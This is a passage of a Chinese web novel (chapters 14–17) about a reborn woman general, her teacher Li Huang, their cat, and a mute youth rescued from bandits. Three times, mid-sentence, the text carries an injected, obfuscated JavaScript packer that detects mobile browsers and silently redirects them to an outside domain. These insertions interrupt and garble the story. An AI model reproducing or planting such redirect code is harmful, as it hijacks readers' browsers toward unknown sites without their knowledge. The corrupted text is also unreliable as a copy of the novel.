“人呢?刚刚还在这里!” “见鬼了?一下就不见了?” 朦朦胧胧间,方漾听到敌方士兵的对话,声音很近,感觉就在头顶。 她睁开眼,发现自己被溪水挤进了一个岸边凹槽中,敌军就站在她身子上方的地面上说话。 那夜她侥幸逃脱,撑着疲惫的身子回城后也不敢耽搁,稍稍歇息后立刻带人出征,将乱作一团的敌军打得节节败退。 从那之后,涵柘战场上捷报频传。 战胜后方漾回临占受赏,也没忘记带着媒婆。 到临占的第一晚,她就带着媒婆去了李晃府中,将媒婆托给李晃照料。 前世自那一别后,她便再未见过媒婆,也再未见过李晃了。 她出征西阚前,李晃曾叮嘱过她,切勿轻信身边人,但她当时一心一意扑在辜知易身上,自然没将这话放在心上。 在她到达西阚的三年后,临占传来消息,李晃重病而亡,媒婆随后也绝食而亡,她甚至抽不出身去给李晃送终。 “好久没看见你了......真的......好久不见......”方漾的声音渐渐低下来,慢慢地带上了哽咽,她的脸也埋在媒婆肚子上,久久不肯抬头。 “笃笃。”门口忽然传来敲门声。 方漾抬眸,将媒婆放在床尾,顺手抹掉了眼角的泪。 “谁?”她贴在门后问。 “我。”门外之人声音低沉,有些哑。 方漾的眼睛又开始泛酸——是老师。 门被打开,李晃披着黑色大氅,兜帽盖住了半张脸,只留下紧紧抿着的嘴。 他阔步进了屋子,待方漾将门关上,才将兜帽取下。 一张清俊的脸被烛火照亮,李晃今年才四十,不蓄胡不留眉,瞧着年轻又俊朗,举手投足间带着儒雅之气。 李晃借着烛光,上上下下打量了方漾一番,脸色有些冷。 “老师。”方漾行礼。 “怎么?走了一趟鬼门关,倒想起尊师重道来了?”李晃冷哼了一声,在桌边坐下。 床尾的媒婆瞅准了时机,跃身跳过去,落在了李晃膝头。 方漾行完礼起身,看着自家老师的模样,心中一阵激动——老师该是如此的,该是傲气的、毒舌的,而非躺在那冰冷的墓穴中。 “你这是什么眼神?”李晃蹙眉,觉得方漾有些奇怪。 “好久没见老师,想老师了嘛......”方漾狗腿地蹭到李晃身边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333321|183351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手给他捏肩膀。 李晃教方漾识字时不过二十七八,如今也才四十。 方漾很懂事,知晓老师是乔浣玉费尽心思四处求来的,所以对李晃毕恭毕敬,努力克制孩子的天性,跟随李晃的教导。 但李晃并非传统意义上的“严师”,比起让方漾拼命看书、认字,他更希望方漾不要浪费儿时的单纯时光。 是以方漾在幼年时,时常收到李晃从宫外给她带的小玩意儿,有时是风筝,有时是竹编的蚂蚱或蜻蜓。 天气好时,李晃便会带着她在院子里跑跑跳跳,并不被课业所困。 这样亦师亦父的相处方式,让方漾对李晃尤为亲近,平日相处并不像师生,倒更似父女。 所以李晃见她向自己行礼,不设防被吓了一跳。 方漾一边捏着李晃的肩,一边看着他头顶的乌发——这一世她不要再为不值得的烂人忤逆老师了。 “老师怎么突然过来了?”方漾问。 “乔嬷嬷给我留了线索,只是临占盯着我的人太多,最近才松懈了些。” “那您是怎么知道我在这里的?”方漾好奇。 李晃转身睨了她一眼,将怀中的媒婆露了出来:“是媒婆先知道的。” 原先李晃只是在赶路,但在经过一处驿站时,媒婆忽然从马车车窗跳了出去,他寻了一路才找到这里。 方漾蹲下身,看着正揣爪子趴在李晃腿上休息的媒婆,抬头揉了揉它的脑袋:“辛苦你了。” 媒婆似乎是听懂了,先眯了眯眼睛,然后起身往李晃身上一靠,抬起爪子就开始舔。 方漾忙用干净帕子沾了水,过来给媒婆把爪子上的泥都擦了一遍,才放心让它继续舔。 “你不是在满勾村?怎么跑出来了?”李晃托着媒婆的屁股,怕它掉下去。 “身上的伤养好了,西阚战场要出事,我得赶过去。”方漾正色道。 “你怎知西阚战场要出事?”李晃蹙眉。 “先前回宫时有所耳闻,方勤时派了胡老将军去西阚。”方漾道,“胡老将军年岁大了,对上凶悍又有备而来的赤蛟部落,胜算很小。” 李晃沉吟了一下,坦白道:“你直觉很准,西阚出事了。” 方漾脸上露出惊讶神色——照理说这会儿赤蛟人为了过冬,应该都退回了今红山脉,怎会这么快就出事了呢? “胡老将军意外离世,消息已经传进了宫,方勤时压着没对外宣告。” 西阚早就乱了?所以前世方勤时才急着找到她,急着将她软禁、击溃她的心理防线! 方漾想起前世自己赶到西阚时接手的烂摊子,确实不像将军刚死的模样,明显是已经乱了一段时日了。 只是那时的她一心想立战功回临占,所以才忽视了这些线索...... “眼下西阚已有逃兵,逃出来的都往中部跑,算算时日,也快到双宵了。” “到双宵了?”方漾忽然紧张起来,施慕虹和勾衡还在双宵! 施慕虹与勾衡此时正屏住呼吸躲在柜台下面,雨水声掩盖了很多细微的动静。 聚在一楼的山匪们并未注意到柜台下还有两人,只将客栈屋子里的人都清了出来。 “钱财都拿出来!”山匪大喊了一声,中气十足,震得人心头发颤。 被白刀子围着的众人都哆哆嗦嗦地低头取银钱,山匪们闲来无事,便四处乱逛。 其中一个山匪看了一眼柜台,想进来搜刮点碎银子,却在走进柜台的一瞬,看见了角落里躲着的两人。 15. 第十五章 听说逃兵已经到了双宵,担心施慕虹与勾衡遇上歹徒,方漾不自觉攥紧了拳头。 她从怀里掏出一个小平安锁挂坠来,这平安锁还没有小半个手掌大,看着像是刚出生的婴孩用的。 李晃见了锁,忽然心头一震,没控制住表情,露出了复杂神情。 方漾见状便问:“您认识这金锁?” 李晃摇了摇头:“不认识。” “那您那副表情是在做什么?”方漾蹙眉。 李晃深吸了一口气,斜睨着那金锁,似是下了什么决心般道:“你说吧,我都能承受……” 方漾不知道他在想什么,眼下也无暇顾及他在想什么了,直接道:“这是乔姨的手帕交施姨儿子的金锁,先前他把这东西当了,给我垫钱买笔墨抄书赚钱,我这才能全须全尾出现在您面前。” 先前勾衡没要她脚腕上的金环,独自返回葫芦镇,她不放心便跟上了勾衡,眼睁睁看着他进了当铺、被压价,最后用当掉小金锁的银钱给她买了笔墨。 “施夫人的儿子?”李晃脸上的神情有瞬间恍然。 “嗯。”方漾应完声,忽然福至心灵,不可置信地看向李晃道,“您该不会是以为我在外面生了个孩子吧?” 李晃摸了摸鼻头,心虚地别开眼去。 方漾简直要气笑了,且不说她才十八,她也只是在双宵待了半年不到,去哪儿怀孩子生孩子? “施姨和阿衡还在葫芦镇,他们对我有救命之恩,烦请老师去带他们回临占,帮我把这个还给阿衡。”方漾将小金锁递给李晃。 她一出满勾村就立刻赶去葫芦镇将小金锁赎了回来,本想着等她凯旋再将它还给勾衡,但既然李晃来了,那让老师帮忙带给勾衡也行。 李晃看她神情便知道她心中有了主意,于是也不多问,收了金锁,抱起媒婆就要走。 可到了门边,他还是停住了脚步。 “战场凶险,保重自身。” 方漾心头一酸——前世李晃对她说的最后一句话便是这句。 如今想来,前世李晃的重病也许同自己有关。 毕竟她这位老师身体一向强健,从未有过重病之状,若是患病,极可能是心病。 而能牵动李晃心绪的,只有远在西阚战场的她。 “老师……”方漾出声道,“您别忧心,我会凯旋的,这么多年您教我的,我都记在心里,不会忘,您不信我,还不信自己吗?” 李晃回头望向她。 十八岁的方漾还有着青涩的脸肉,露在外面的双手和脖颈都有些粗糙。 李晃想起方漾刚从涵柘战场上回来时,小姑娘脸晒得黢黑脱皮,嘴唇也干得发裂,眉边全是已经结痂的细小伤口,只剩一双眸子亮晶晶的,冲他道:“老师,我回来了!” 这是他亲手带大的姑娘,从不识字到熟读名册,从手不能提到驰骋沙场……其中有多少苦痛,只有她自己知道,但他从未见过她喊累。 无论她的终点是对是错,至少她有一往无前的勇气,李晃很是欣慰。 “那我就等你好消息了。”李晃道。 方漾冲他扬眉,正要说话,却被敲门声打断。 “客官,抱歉半夜打搅您,刚刚收到消息,说是南边有山匪出没,已有好几家客栈遭了殃,烦请客官夜里多留意,若有情况,我会立刻来禀报……” 伙计没进门,就隔着门板在外面一间一间屋子喊。 方漾看向李晃,李晃没说话,只默默戴好兜帽,用大氅将媒婆盖了起来,低着头出了门。 城外路上相近的客栈有自己的联络方法,伙计得了消息便告知了客栈里的客人们。 客人们听过了便打起精神来,暂时没什么危险,但已经被匪徒侵袭的客栈可没那么安全。 勾衡护着施慕虹,被大汉推到了柜台前面。 “挺会躲啊你们……钱财都拿出来!”大汉呵斥道。 其实他并不期望这两个浑身上下都透着“穷”字的人能拿出多少银钱,比起勾衡的包袱,他的目光更多是在施慕虹脸上与腰上逡巡。 勾衡很敏感,悄悄上前半步挡住了大汉的目光。 此举一下子激怒了大汉,那人上前抬脚用力踹开勾衡,随后向地上啐了一口,道:“你算个什么东西!敢挡老子的路?” 勾衡瘦骨伶仃的,被壮硕的大汉一脚踹倒,甚至在地上滑了一段才重重砸在墙角停下了。 施慕虹吓得叫了一声,忙向勾衡的方向跑过去,却在刚抬腿时就被大汉一把抓住按进怀里。 “跑什么?生个这么没用的儿子,你男人也不怎么样吧?要不要跟我再生一个?保管身子强壮又高大!”说着,大汉贴在施慕虹腰侧猥琐地顶了顶胯。 周围顿时爆发出一阵狂笑,施慕虹又气又急,却挣不开大汉的钳制,泪水在眼眶里打转。 经过一阵密密麻麻的眩晕感后,勾衡总算又恢复了意识。 他踉跄爬起,瞪着正抱住施慕虹上下其手的大汉,眼睛通红。 “啊!” 嘶哑的吼声响起,大汉忽然感到身后有一股强劲的力量向他撞过来,他本想岔开腿站稳,却没料到那力量竟如此强,瞬间将他撞倒在地。 “阿衡、阿衡……没事吧?”施慕虹抓住冲过来的勾衡,上上下下打量他,尤其是方才被踹的腹部。 大汉摔得屁股痛,在周围同伴的嘲笑声中爬起来,气得头发都要竖起来了。 “死小子……敢撞你爷爷……”大汉说着,捏了捏指关节,发出噼啪响声。 一楼的客人们抻着脖子看向勾衡,心里都默默为这个弱鸡似的少年捏把汗。 勾衡攥紧了拳头——气愤大过了恐惧,想起刚才大汉对施慕虹的无理行为,他想撕了对方的心并不比大汉弱。 大汉活动了手脚与脖子,大跨步上前,伸手要去拽勾衡。 勾衡咬着牙,攥紧了拳头抬手挥过去。 其实明眼人都能看出来,勾衡与大汉打斗,无异于蚍蜉撼树,即便能打中,也不会对大汉产生致命伤害,反而是大汉随手一拽都有可能把勾衡撕碎…… 就在大家都忍不住要闭上眼睛为勾衡哀悼时,变数出现了。 一群蒙着面巾的黑衣人快速且有序地冲进屋子里将山匪们团团围住,有反应快的山匪想跑,却被瞬间制服。 其中跑得最快的黑衣人一把将要去拽勾衡的大汉扯开,反手将大汉锁在地上,一个手刀下去大汉就没了意识。 众人对面对这突如其来的局势变化傻了眼,都瞪大了眼睛不敢说话,毕竟谁都不知道这群冲进来的黑衣人是敌是友。 勾衡的拳头挥空了,愣愣地看向面前突然多出来的一群黑衣人。 打晕了大汉的黑衣人有一双清冽的眸子,冰冷的目光在人群中晃了一圈,最后落在勾衡与施慕虹身上。 勾衡警惕地看向他,两人目光相接,中间忽然落下一把小金锁,在勾衡面前轻轻摇晃着。 “这……”施慕虹认出那把小金锁是勾衡他爹在他出生时给他打的,勾衡从小就戴在身上。 无论多苦多穷,她都没动过变卖这金锁的念头,这是勾衡他爹留给他唯一的念想了…… 勾衡不知道这金锁怎么会在黑衣人手中,眼神变得疑惑起来。 黑衣人见状,用只有三人能听清的声音道:“勾衡、施慕虹,我家大人要见你们。” 勾衡心中闪过许多个猜测,但他与施 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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说完也不停留,转身就走,将施慕虹与勾衡留在原地。 勾衡与施慕虹正面面相觑,就听面前的门“吱呀”一声打开了。 门后没有人,勾衡的目光下移,看见一只黑白花色的猫正端坐在地上,仰头望着两人。 它嘴边的一点黑毛十分显眼,又大又黑的瞳孔周围缀着一圈金黄,亮晶晶的,很漂亮。 “媒婆,让人进来。”屋子里传来一个男人的声音。 叫做“媒婆”的猫并没有听话,而是起身走到勾衡脚边,围着他转了一圈,然后用自己的小爪子一脚踩在勾衡鞋面上,不动了。 李晃半晌都没见媒婆回来,只好自己走到门前去迎接人。 他一把捞起媒婆,对两人道:“进来说。” 李晃衣衫整洁,布料密实光滑,一看就是贵人。 媒婆进了房间也不老实,见勾衡坐下,它便从李晃怀里跳下去,一跃爬了勾衡的腿。 勾衡受宠若惊地低头看着媒婆,不知要怎么办才好,两只手僵硬地垂在腿侧。 李晃见他拘谨,便开口道:“你身上的味道与阿漾相似,它很喜欢。” 提起方漾,勾衡总算是放松了下来,他低头看着媒婆,媒婆也仰起小脸看着他。 勾衡喉咙里发出了一点气音,他想叫“媒婆”,但发不出声音,最后只能做个嘴形出来。 媒婆翻了个身,敞开肚皮:“喵~” 很嗲。 李晃有点嫌弃地看了媒婆一眼——平日养着像个哑巴猫似的,遇上勾衡倒是长嘴了,希望它的主人别有朝一日跟它似的丢人。 16. 第十六章 媒婆软软热热的小身子靠在勾衡身上,让他感觉放松了许多。 李晃见两人自在了些,便开口道:“我是阿漾的老师,她应该同你们提起过我。” 施慕虹听到李晃出声,刚刚才放松下来的身子又坐直了起来,点头的幅度也很小,似是怕惊扰了什么般。 李晃见状,无奈道:“两位是阿漾的救命恩人,她特地托我带信物来接两位去临占避难……” 说着,他看向勾衡:“信物可收到了?” 勾衡忙沿着脖颈上的细绳将小金锁拽了出来。 李晃点头,放缓了语气道:“外头已经开始乱了,临占城内不日也会有骚动,若是另外给两位安排住处,实在危险,只能让两位暂住我府中。” 施慕虹本想说不用了,但想起方才在客栈的惊险,她便又闭上了嘴。 李晃说得没错,待临占乱起来,寻常院子怕是也会遭殃,只有养了护卫的世家贵族的宅邸才可能震慑住那帮匪徒。 见施慕虹不说话,李晃才继续道:“往后同住府中,我们还要相处很长的日子,两位大可不必如此拘谨。” 话是这么说,但施慕虹与勾衡还是有些身体僵硬。 李晃不再纠结此事,反正要说的话他都说了,剩下的只能慢慢来了。 “阿漾往西边去了,临行前除了托我找到你们,还托了我另一件事。” 施慕虹不知此事该不该开口问,只能看向李晃。 “我需回到葫芦镇再待一段时日,二位是想先行回府还是暂时留下?”说这话时,他并未看向能与他对话的施慕虹,而是看向了口不能言的勾衡。 勾衡以为他不知道自己不能说话,于是抬手指了指自己脖子上的疤痕。 “待我回了临占,会替你寻名医来看看。”李晃以为勾衡是想治嗓子。 勾衡眨了眨眼,他本没那个意思,但李晃突然这么说,倒叫他心里生出希望来。 哑了这么多年,每每苦于与人沟通时,他都会感到难受。 寻常大夫定是治不好这嗓子的,但李晃是贵人,神通广大,万一能找到神医来治他呢? 一双亮晶晶的小狗眼盯着自己,李晃受不住,默默吸了一口气——难怪方漾刻意叮嘱他,多多照顾勾衡,别让他挨欺负了。 就勾衡这身板和长相,在有心之人眼中,完全就是个可以肆意欺辱和拿捏的软包。 “那你想先回临占李府,还是同我在葫芦镇办完事再一道走?”李晃又问了一遍。 勾衡眨了眨眼,抬手指了指李晃。 “同我一起留下?”李晃问。 勾衡点头。 李晃这才转头去看施慕虹:“施夫人呢?” 施慕虹看了勾衡一眼,道:“我想先回临占。” 此话一出,勾衡的脊背都僵硬了,他梗着脖子看向施慕虹,眼中的慌乱毫不掩饰。 李晃饶有兴致看着,却不出声。 施慕虹这下更加肯定自己心中的猜测了,她起身走到勾衡面前,摸了摸他没什么肉的脸,小声道:“娘胆子小,怕再遇上今天这种事,想早早安定下来……” 她眼中有慈爱也有不舍,但更多的是欣慰。 勾衡不懂这欣慰从何而来,正要细究,便听李晃道:“阿衡跟我去葫芦镇办事,我派人将施夫人送回临占李府,可好?” 勾衡自出生起就没离开过施慕虹身边吗,听李晃这么说,当下就想说不去了,他也要去李府。 但他的双手被施慕虹攥住,无法抬起来比划。 李晃当然看见了母子之间的这点小动作,他也不急,耐心等着。 原先他只当是替方漾报救命之恩,不过是带人跑一趟罢了。 但见面后,媒婆对勾衡展现出了前所未有的亲昵与热情。 起先他还以为是方漾同母子俩待久了,身上味道相似,媒婆才展现亲昵。 但仔细一想,媒婆为何只对勾衡亲热,对施慕虹却视若无睹呢? 分明是方漾提前在勾衡身上做了手脚,想让他注意到勾衡。 明明已经交代了多多照顾勾衡,却还要在勾衡身上做手脚,看来方漾想要的不仅仅是简单的“照顾”。 李晃悄悄撇了撇嘴:想让我收这小哑巴为学生?那也得看他够不够格。 这小哑巴从小就待在村子里,同母亲相依为命,此番为初次远行。 恰好他要在葫芦镇办事,镇子上关系简单,且都在他的可控范围内,正好带勾衡见见世面。 但在此之前,他要先看看勾衡有没有胆量离开施慕虹,他可不想带个“没断奶”的学生。 在施慕虹的眼神暗示下,勾衡也反应过来是怎么回事了。 他很纠结,一边是相伴多年的母亲,是他安全感的来源;一边又是方漾的老师,博学多识,跟着他一定能学到新东西…… 勾衡咬牙:如果是方漾,她会怎么做呢? 毋庸置疑,她会跟着李晃。 方漾十三岁就独自上了涵柘战场,眼下又只身一人远赴西阚。 她好似心中从无牵挂,只奔向自己的目标,绝不迟疑。 “喵~”媒婆见屋子里静了许久,于是出声提醒,还在勾衡腿上翻了个身。 “考虑得如何了?”李晃也适时出声。 勾衡垂眸默了默,再抬眼时,眼中便只剩下坚定了。 翌日清晨,勾衡送别施慕虹,自己抱着媒婆跟在李晃身后上了前往葫芦镇的马车。 马车是富贵人家才用得起的代步工具,但也有不爱坐马车的贵人,譬如方漾。 李晃给了她足够的盘缠,她却没租马车,而是花钱买了一匹马。 骏马在林间飞驰,马蹄声踏破清晨的露珠,径直冲向前方。 有了盘缠,方漾可以无后顾之忧地提升装备。 除了买马,她还买了厚厚的袄子和大氅,连脸上的蒙面巾都换了柔软布料,不会在脸上留下勒痕了。 离西阚还有约莫五日的路程,若是稍微赶一赶,四天便能到。 这一路上她不止遇到过一次匪徒,但好在她足够敏锐,几乎都能在危险来临前察觉并躲避。 越靠近西阚,遇上的山匪就越多,路上逃难的百姓也越多。 看着路边饿得两颊凹陷的大人,带着又干又瘦的孩子靠在树下休息,方漾又不免想起施慕虹与勾衡来。 先前收到李晃来信,说是已经救出了母子俩,施慕虹安全到了李府,他则带着勾衡在葫芦镇查连棠之事。 她临行前特意将荆芥磨成粉,拍进了勾衡的袄子里,希望媒婆能多黏着他,好让李晃看见他,也不知道他能否博得李晃的欢心…… 正想着,一人一马已经跑出了树林,眼前的景色忽然开阔起来。 干燥的土路两旁插满了高大的树,因为还在冬日,这些树上并没有绿色,全是光秃秃的枝桠。 往前看,脚下土路笔直朝向远处连绵起伏的山。 不似临占与双宵附近的青山,这边的 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“将军,皇上派下官来请您回临占。”一个粗厚的声音在山中响起,回音在石壁间反复撞击。 方漾眉头下压,转身从岩壁后走了出来。 说话的人着一身厚重盔甲站在山间,只露出一双沧桑的眼睛。 “王雨顺。”方漾叫出了他的名字。 王雨顺怔愣了一瞬——已经许久无人叫过他的全名了,无论在临占还是涵柘,谁不尊称他一句将军? 方漾缓步走向王雨顺,两侧岩壁上的箭头指向的地方随着她的步伐移动。 直至离王雨顺只有一步之遥了,方漾才停下脚步。 明明身着坚硬盔甲的是王雨顺,但气势上却被身披柔软大氅的方漾死死压住。 “好久不见。”方漾先打了招呼。 王雨顺是她在涵柘时的副将,年幼参军,一直熬到三十岁遇到方漾,才在军中有了名声。 彼时涵柘无人可用,稍有才能之人都卷铺盖跑路了。 方漾一个人根本忙不过来,只好在矮子里面拔将军,挑了王雨顺这个老实憨厚的带在身边。 涵柘的仗打得艰难,身边的人来来往往,只有王雨顺还坚守身侧,方漾有意提携他,所以把他升为副将,回临占领赏时也带着他。 只是没想到,当初并肩作战的副将,竟然会为了方勤时而站在她的对立面。 “将军,好久不见……”王雨顺的气势弱了许多。 “他让你来抓我?” 王雨顺心虚地低下头,沉着嗓子应了一声。 “他抓我不过是为了让我上西阚战场,眼下我已经在去西阚的路上了,别白费力气抓我回临占了。” 在追踪方漾的路上,王雨顺就隐隐猜到了她要去西阚,于是去信临占,可方勤时那边却执意要他将人带回临占。 “皇上说必要将您带回临占。” 方漾蹙眉:照理说,方勤时应该急着让她来西阚稳住局势,怎么还非要回一趟临占? 但眼下比起方勤时不为人知的目的,西阚百姓的安危更迫在眉睫。 方漾抬头环视了一圈,最后目光落回王雨顺身上:“你知道的,如果我不想走,你最多就只能带着我的尸体去交差。” 王雨顺抿了抿唇,道:“若您不肯跟我回临占,那我只能让满勾村的那个小哑巴来劝您了。” 方漾眼神一凛——勾衡在他手上? 17. 第十七章 又是一阵寒风从石缝中呼啸而过,发出尖锐风声。 方漾被风吹得清醒了许多——不对,勾衡若是落到王雨顺手中,老师那边怎么会一点消息都不传过来呢? 王雨顺在诈她。 “我走之前,他明明能说话了,怎么又变回哑巴了?”方漾疑惑出声。 那小哑巴能说话了?王雨顺的表情怔愣了一瞬,抬眼便对上方漾戏谑的眼神——她在诈自己。 “王雨顺,别忘了你这一身本事是谁教的。” 言下之意:跟我耍心眼,你怎么敢? 王雨顺见威胁不到她,便放轻了声音道:“将军,跟我回去吧......皇上说的是‘活捉’,并非要您性命,再说了......父女之间何必如此针锋相对呢?” 自从王雨顺跟着方漾在军中职位一升再升,寡了三十年的老光棍家中也是有了媒人造访。 涵柘战胜前一年他娶了媳妇,年前刚得了一位千金,正是对“父女情”新鲜情浓之时。 方漾听了他的话,先是祝贺他喜得千金,而后冷脸道:“这天下父女并非都有至亲至浓的情义,我和他的事,还轮不到外人置喙。” 一记当头棒喝打醒了王雨顺——他算个什么东西?竟然敢妄议皇帝与公主之间的关系。 “属下知错。”王雨顺见方漾脸色不好,梦回涵柘战场,下意识低头认错。 待反应过来两侧岩壁上还有下属在看时,他有些羞恼地命他们全都退下了,空荡的山谷中只剩两人。 “我们在涵柘战场并肩作战这么多年,什么家破人亡、妻离子散的悲剧,看得不够多吗?如今西阚百姓正在经历同样的噩梦,我要去结束这一切,没时间陪方勤时闹,你明白吗?” 王雨顺心中一惊,全大荆敢直呼“方勤时”名讳的,也只有方漾了吧? 说罢,方漾拔出匕首,将自己的衣角割了下来递给王雨顺:“你同他说,我坠崖了。” 王雨顺接过那一片灰色的衣角,神色纠结,不知在想什么。 方漾收了匕首,绕开愣在原地的王雨顺继续往前走。 忽然背后传来动静,方漾蹙眉——曾经能够将后背安心托付的战友,如今也沦落到了从背后偷袭自己吗? 她转身看见王雨顺拎着刀劈上来,避无可避,立刻抽出匕首想要挡下这一刀,却见王雨顺在靠近她时忽然将刀撤开,身子直直撞向她的匕首。 “哧”地一声,被方漾磨得又薄又利的匕首扎进了王雨顺的肩头。 她眼中闪过一瞬讶然,而后便明白了是怎么回事。 王雨顺退后一步,匕首从肩头拔了出来,鲜血汩汩流出,他捂着伤口冲方漾笑:“将军......您走吧......这样我就好回去交差了......” 方漾看了一眼他的伤口,抿了抿唇,道:“你不欠我什么了,从前军中的提携之恩、战场上的救命之恩,全都抵消了......” 王雨顺眼中透出些慌张来,他是被方漾一步步带着走到现在,若方漾要同他割袍断义,那他往后又该何去何从呢? 方漾看出他心中所想,于是直言道:“王雨顺,我和方勤时,你只能选一个。” 王雨顺心头顿时卷起惊涛骇浪——朝中官员总说方漾与方天佑水火不容,毕竟两人都是继位者的有力人选,但眼下看方漾的态度,她压根不想讨好方勤时来换得继承者的位置,而是要与方勤时割席分坐!往后是两相持衡还是取而代之都未可知...... 言尽于此,方漾不再等待他的回答,再次转身,将后背留给王雨顺。 这次没有突然袭击,她顺顺当当地往前走。 王雨顺站在原地看着那个挺拔的身影走远,狂风吹乱了她的衣角和发丝,却无法撼动她前进的脚步。 王雨顺忽然想起方漾在涵柘战场上的模样。 身形灵活的少女手持六尺尖刺红缨枪向着敌人冲去,盔甲破碎、发丝凌乱,身后的披风被吹得猎猎作响。 即便身处劣势,她眼中杀意也仍然不减,毫不畏敌,一招一式都狠厉狂放,手起枪落,绝不拖泥带水。 敌军见她,先失气势、后失命。 这样的女将军确实百年难遇,他王雨顺能遇上,真真是祖坟冒了青烟。 但或许是祖坟的青烟已经冒完了,王雨顺没了跟着方漾拼命的气性。 他有了夫人、有了女儿,有了要守护的家庭,便一切都以“求稳”为上了。 方漾的身影越走越远,王雨顺目送她离开了山谷,这才怅然若失地低下头捂住伤口...... 从她离开的方向吹来刮骨的寒风,不知何时,其间还裹上了细小的雪粒,打在脸上针扎般疼。 西阚的风雪不断向中部侵蚀,就在周边百姓以为今年春天不会再来了时,这场风雪忽然停了。 暖阳落在院子里,角落的盆栽生了几片嫩芽,被阳光照得透亮。 媒婆从没关紧的房间窗户里跳出来,在院子里踱步走着,先凑到嫩芽边嗅了嗅,又转身跳上院中的水缸边沿坐下,面对着房间门挪挪屁股,端正坐下。 “吱呀”一声房门开了,一个瘦弱的少年从里面走出来,看见媒婆时担忧的表情缓和了许多。 他走上前抱起媒婆,转身进厨房取了媒婆喝水专用的瓷碗,舀了水放在地上。 媒婆自觉地从他怀中跳下来,对着水碗一阵猛舔,勾衡就蹲在媒婆身侧替它梳毛。 少年与猫都沐浴在阳光下,李晃走到院子里便看见了这景象。 “别总这么惯着它,屋子里给它放了水不喝,非要你起来给它倒......”李晃在勾衡身后出声。 勾衡转身对李晃笑了笑,又低下头去给喝完水的媒婆挠下巴。 李晃知道自己这是劝不动了,自从勾衡知道了媒婆是方漾从涵柘战场上捡回来的,就对媒婆百般呵护,跟照顾孩子似的,明明他自己也是个孩子。 “吃过早饭来书房找我。”李晃留下话便转身走了。 勾衡目送他离开,而后拾起媒婆的水碗回了厨房。 李晃在葫芦镇租了个小院子,请了人每日上门做饭,平日里除了带着勾衡识字、练武,就是见各路探子。 起先有暗卫来报消息,勾衡都会默默走开。 后来李晃发现了他的小心翼翼,便次次都叫住他,让他大大方方待在书房里听着。 这些消息有些是朝堂上的,有些是李晃手中铺面上的,唯独没有关于方漾的。 给媒婆放好猫饭,勾衡自己也吃了两个大肉包和一碗肉片粥,洗了碗、擦净手,往书房走。 媒婆迈着猫步跟在他身后。 “笃笃。” “进。” 勾衡推门进去,还不忘等媒婆进了门再关门。 媒婆吃饱喝足,一跃跳上李晃的书桌,开始舔爪子、洗脸。 李晃摸了一把它的脑袋,无奈又宠溺。 “先前阿漾托我办的事有眉目了。” 勾衡闻言抬起头——他在葫芦镇也待了有大半个月了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333324|183351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却并不知道方漾究竟拜托了李晃什么事。 李晃抬手从媒婆屁股底下抽出一本小册子来,媒婆有些不高兴地打了他一巴掌,但没伸爪子。 勾衡接过小册子,只见封面写着“莲戏荷叶”。 他最近跟着李晃读了不少书,字已经识得差不多了,还以为是李晃想测测他,于是翻开了小册子。 不料这册子中的故事完全不像它的书名一样清新淡雅,里面讲述了一个云游四方的女侠,每每破获一桩悬案,便会同当地的“美男”云雨一番的故事。 其中云雨细节写得香艳又唯美,但都是女侠在掌控主导权。 勾衡感到怪异却又好奇,可越往后,文字便越露骨,他“啪”的一声关上书册,满脸通红地看向李晃。 李晃勾起嘴角——欺负未经人事的少年真的很开心。 “写得如何?” 勾衡咽了咽口水,点点头,比了个大拇指。 “这是连夫人写的。” 连夫人?连姨?辜知易的娘亲? 勾衡眨了眨眼,连姨不是给书局抄书的吗?怎么写起这种......小册子了? “阿漾说连夫人在写风月本子,这几日恐怕有灾祸,让我帮衬一下。” 勾衡目不转睛地盯着李晃,等着他往下说。 “眼下已然有消息了。”李晃将媒婆屁股底下的风月本子一本本抽出来,边抽边道,“街南陆家,你可知道?” 穿衣街南边的陆家,是葫芦镇最有钱的贵人家。先前见勾衡老实,愿意要他散柴的管家就是陆家的。 见勾衡点头,李晃便接着道:“陆家小姐陆衿衿是连夫人的忠实读者,连夫人的第一份风月本子,就是陆小姐催着写出来的......” “年前陆家议亲,为陆小姐定了双宵城内的闵家公子,原先父母之命媒妁之言,说得好好的,可年后陆小姐得知自己的亲事定了,却怎么也不肯嫁。” 勾衡疑惑歪头,摊了摊手:为什么? “那闵公子今年三十有二,陆小姐年方十九......”李晃道,“闵家在双宵城内也算得上富户,你知道为何这位闵公子为何这把年纪还未婚娶吗?” 若是从前的勾衡,只会摇头摆手说不知道,因为他怕说错,所以干脆不说。 但经过李晃这大半个月的教导,他已经不怕说错话了,于是垂眸想了想,抬手指了指自己的脑袋:他是痴儿? 李晃摇头,道:“方向是对的,再猜。” 勾衡的手缓缓放下,心中默默琢磨:方向是对的?也就是身子有问题? 他忽然灵光一闪,指了指自己□□,向李晃投去询问的目光。 李晃满意地点点头,道:“是,这位闵公子年轻时爱流连烟花柳巷,身子被掏空得厉害,如今已是不能人事了。” 